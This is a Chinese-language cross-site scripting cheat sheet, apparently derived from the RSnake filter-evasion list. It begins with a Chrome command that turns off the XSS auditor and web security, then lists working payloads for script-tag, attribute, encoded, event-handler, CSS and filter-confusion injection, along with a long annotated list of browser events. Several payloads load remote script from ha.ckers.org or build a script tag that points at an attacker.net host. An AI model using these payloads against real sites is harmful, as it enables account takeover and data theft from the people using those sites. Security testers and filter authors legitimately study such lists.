目录

    如果使用Chrome浏览器测试XSS向量,请关闭浏览器对XSS的拦截功能。首先,关闭所有Chrome浏览器进程,然后执行:

    chrome.exe -args --disable-xss-auditor  --args  --disable-web-security
    

    进入非Web安全模式。

    1. 利用<>标记注入HTML/JavaScript

    <script>alert('XSS')</script>
    
    '';!--"<XSS>=&{()}
    
    //SRC的引号是可以省略的
    <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
    

    2. 利用HTML标签属性执行XSS

    <IMG SRC="javascript:alert('XSS');">
    
    <IMG SRC=javascript:alert('XSS')>
    
    <IMG SRC=JaVaScRiPt:alert('XSS')>
    
    <IMG SRC=javascript:alert("XSS")>
    
    <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
    
    <BODY BACKGROUND="javascript:alert('XSS')">
    
    <IMG DYNSRC="javascript:alert('XSS')">
    
    <IMG LOWSRC="javascript:alert('XSS')">
    
    <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
    
    <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
    
    <TABLE BACKGROUND="javascript:alert('XSS')">
    
    <TABLE><TD BACKGROUND="javascript:alert('XSS')">
    
    <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
    
    <BGSOUND SRC="javascript:alert('XSS');">
    
    <BR SIZE="&{alert('XSS')}">
    
    <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
    
    <IFRAME SRC=# onmouseover="alert('XSS')"></IFRAME>
    
    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
    

    3. 利用空格、回车、Tab等分隔符

    <IMG SRC="jav   ascript:alert('XSS');">
    
    <IMG SRC="jav
    ascript:alert('XSS');">
    

    4. 对标签的属性值转码

    <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
    
    <IMG SRC="jav&#x09;ascript:alert('XSS');">
    
    <IMG SRC="jav&#x0D;ascript:alert('XSS');">
    
    <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
    
    <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
    
    <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
    
    <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
    
    <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
    
    ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
    
    alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
    
    ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
    
    <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
    
    <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
    &#39;&#88;&#83;&#83;&#39;&#41;>
    

    5. 产生自己的事件

    <IMG SRC=# onmouseover="alert('xxs')">
    
    <IMG SRC= onmouseover="alert('xxs')">
    
    <IMG onmouseover="alert('xxs')">
    
    <IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
    
    <BODY ONLOAD=alert('XSS')>
    

    事件列表:

     1. FSCommand() (攻击者可以使用它当执行一个嵌入的flash对象时)
     2. onAbort() (当使用者终止一张正在载入的图片)
     3. onActivate() (当对象被设置为激活元素)
     4. onAfterPrint() (用户打印或是预览打印工作后激活)
     5. onAfterUpdate() (激活在一个数据对象当源对象数据更新后)
     6. onBeforeActivate() (触发在一个对象被设置为激活元素)
     7. onBeforeCopy() (攻击者执行攻击代码在一个选区被复制到剪贴板之前-攻击者可以实现它通过execCommand("Copy")函数。)
     8. onBeforeCut() (攻击者执行攻击代码在在一个选区被剪贴。)
     9. onBeforeDeactivate() (当激活元素被改变后触发)
     10. onBeforeEditFocus() (触发在一个可被编辑的元素内的对象就按测到一个 UI-activated状态或是一个可被编辑对象被选择之前)
     11. onBeforePaste() (用户需要被欺骗执行粘贴或是去触发它通过execCommand("Paste")函数。)
     12. onBeforePrint() (用户需要被欺骗执行打印或是攻击者可以使用print()或是execCommand("Print")函数。)
     13. onBeforeUnload() (用户需要被欺骗关闭浏览器-攻击者不可以 unload windows除非它是被执行从其父窗口。)
     14. onBeforeUpdate() (激活在数据对象在源对象更新数据之后。)
     15. onBegin() (onbegin 事件被立即触发当元素的声明周期开始后)
     16. onBlur() (当失去焦点时触发*)
     17. onBounce() (触发当选框对象的behavior属性被设置为"alternate"或是选框的内容抵达窗口的一边。)
     18. onCellChange() (触发当数据改变在数据provider)
     19. onChange() (select, text, or TEXTAREA 字段失去焦点或是它们的值是被改变。)
     20. onClick()(点击事件)
     21. onContextMenu() (用户需要右击在攻击攻击区域)
     22. onControlSelect() (当用户去控制一个选择对象时触发。)
     23. onCopy() (用户需要去copy某些东西或是利用execCommand("Copy")命令)
     24. onCut() (用户需要copy某些东西或是利用execCommand("Cut") 命令)
     25. onDataAvailable() (用户改变数据在某个元素上或是攻击者可以执行相同的函数。)
     26. onDataSetChanged() (当源数据对象被改变时触发)
     27. onDataSetComplete() (触发当数据是成功获取到从数据源对象)
     28. onDblClick() (用户双击某个元素。)
     29. onDeactivate() (当当前元素失去激活状态时触发)
     30. onDrag() (需要用户拖动某个对象)
     31. onDragEnd() (需要用户拖动某个对象)
     32. onDragLeave() (需要用户拖动某个对象从一个有效的位置。)
     33. onDragEnter() (需要用户拖动某个对象从一个有效的位置。)
     34. onDragOver() (需要用户拖动某个对象从一个有效的位置。)
     35. onDragDrop() (用户拖动某个对象(例如文件)到浏览器窗口内。)
     36. onDragStart() (当用户开始拖动操作时发生。)
     37. onDrop() (用户拖动某个对象(例如文件)到浏览器窗口内。)
     38. onEnd() (当生命周期结束时触发)
     39. onError() (载入document 或 image发生错误时触发)
     40. onErrorUpdate() (当更新数据源的相关对象时发生错误则触发)
     41. onFilterChange() (当一个滤镜完成状态改变时触发)
     42. onFinish() (移动的Marquee文字完成一次移动时触发)
     43. onFocus() (当窗口获得焦点时攻击者可以执行代码)
     44. onFocusIn() (当窗口获得焦点时攻击者可以执行代码)
     45. onFocusOut() (当窗口失去焦点时攻击者可以执行代码)
     46. onHashChange() (当当前地址的hash发生改变时触发)
     47. onHelp() (当用户在当前窗口点击F1时触发攻击代码)
     48. onInput() (可编辑元素中的内容被用户改变后出发)
     49. onKeyDown() (用户按下一个键)
     50. onKeyPress() (用户点击或是按下一个键)
     51. onKeyUp() (用户释放一个键)
     52. onLayoutComplete() (用户需要去打印或是打印预览)
     53. onLoad() (攻击者执行攻击代码在窗口载入后)
     54. onLoseCapture() (可以被触发被releaseCapture() 方法)
     55. onMediaComplete() (当波翻改一个流媒体文件时,这个事件将触发在文件开始播放前。)
     56. onMediaError() (当用户打开的页面包含一个媒体文件,并且发生错误时触发)
     57. onMessage() (当文档对象接受到一个信息时触发)
     58. onMouseDown() (攻击者需要让用户去点击一张图片。)
     59. onMouseEnter() (光标移入一个对象或是区域)
     60. onMouseLeave() (攻击者需要让用户移动光标进入一个图片或是表格,接着再次移出)
     61. onMouseMove() (攻击者需要让用户移动鼠标进入一个图片或是表格上)
     63. onMouseOver() (光标移到一个对象或是区域上)
     64. onMouseUp() (攻击者需要让用户点击一张图片)
     65. onMouseWheel() (拥挤着需要让用户去使用他们的鼠标滚轮)
     66. onMove() (用户或攻击者需要移动页面)
     67. onMoveEnd() (用户说攻击者需要移动页面)
     68. onMoveStart() (用户说攻击者需要移动页面)
     69. onOffline() (浏览器从在线模式转换到离线模式时发生)
     70. onOnline() (浏览器从离线模式转换到在线模式时发生)
     71. onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
     72. onPaste() (用户需要去粘贴或是攻击者执行execCommand("Paste") 方法)
     73. onPause() (当激活元素时间停顿时触发,包括body元素)
     74. onPopState() (当用户返回会话历史时触发)
     75. onProgress() (当一个flash动画载入时触发)
     76. onPropertyChange() (用户或攻击者需要改变一个元素的属性)
     77. onReadyStateChange() (用户或攻击者需要改变一个元素的属性)
     78. onRedo() (用户执行再执行操作)
     79. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
     80. onReset() (用户或攻击者重置表单)
     81. onResize() (用户调整窗口大小,或是攻击者自动触发通过某些代码例如&#x3C;SCRIPT>self.resizeTo(500,400);&#x3C;/SCRIPT>)
     82. onResizeEnd() (用户调整窗口大小,或是攻击者自动触发通过某些代码例如&#x3C;SCRIPT>self.resizeTo(500,400);&#x3C;/SCRIPT>)
     83. onResizeStart() (用户调整窗口大小,或是攻击者自动触发通过某些代码例如&#x3C;SCRIPT>self.resizeTo(500,400);&#x3C;/SCRIPT>)
     84. onResume() (当元素从暂停恢复到激活时触发,包括body元素)
     85. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
     86. onRowsEnter() (用户或攻击者需要改变数据源中的一行)
     87. onRowExit() (用户或攻击者需要改变数据源中的一行)
     88. onRowDelete() (用户或攻击者需要删除数据源中的一行)
     89. onRowInserted() (用户或攻击者需要向数据源中插入一行)
     90. onScroll() (用户需要滚动,或是攻击者可以执行scrollBy() 函数)
     91. onSeek() (媒体播放移动到新位置)
     92. onSelect() (用户需要去选择一些文本 - 攻击者可以自动运行利用某些方法例如 window.document.execCommand("SelectAll");)
     93. onSelectionChange() (用户需要去选择一些文本 - 攻击者可以自动运行利用某些方法例如 window.document.execCommand("SelectAll");)
     94. onSelectStart() (用户需要去选择一些文本 - 攻击者可以自动运行利用某些方法例如 window.document.execCommand("SelectAll");)
     95. onStart() (当marquee元素循环开始时触发)
     96. onStop() (用户需要点击停止按钮或是离开网页)
     97. onStorage() (存储区域改变)
     98. onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
     99. onSubmit() (需要攻击者或用户提交表单)
     100. onTimeError() (用户或攻击者需要设置一个时间属性例如 dur 的值为无效的值)
     101. onTrackChange() (用户或攻击者需要改变播放列表的轨迹)
     102. onUndo() (user went backward in undo transaction history)
     103. onUnload() (当用户点击一个链接或是按下回车键或是攻击者触发一个点击事件)
     104. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
     105. seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
    

    6. 利用CSS跨站解析

    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
    
    <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
    
    <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
    
    <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
    
    <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
    
    <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
    
    <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
    
    exp/*<A STYLE='no\xss:noxss("*//*");
    xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
    
    <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
    
    <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
    
    <XSS STYLE="behavior: url(xss.htc);">
    
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
    
    <DIV STYLE="background-image: url(javascript:alert('XSS'))">
    
    <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
    

    7. 扰乱过滤规则

    <IMG SRC=" &#14;  javascript:alert('XSS');">
    
    <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
    
    <BODY onload!#$%&()*~+-_.,:;[email protected][/|\]^`=alert("XSS")>
    
    <<SCRIPT>alert("XSS");//<</SCRIPT>
    
    <SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
    
    <DIV STYLE="width: expression(alert('XSS'));">
    
    <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
     <![endif]-->
    
    <BASE HREF="javascript:alert('XSS');//">
    
    <script>z=’document.’</script>
    <script>z=z+’write(“‘</script>
    <script>z=z+’<script’</script>
    <script>z=z+’ src=ht’</script>
    <script>z=z+’tp://ww’</script>
    <script>z=z+’w.attacker’</script>
    <script>z=z+’.net/xss.’</script>
    <script>z=z+’js></sc’</script>
    <script>z=z+’ript>”)’</script>
    <script>eval_r(z)</script>
    
    <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
    
    <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
    
    "<SCRIPT\s" != "<SCRIPT/XSS\s"
    
    <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
    
    ¼script¾alert(¢XSS¢)¼/script¾
    

    8. 参考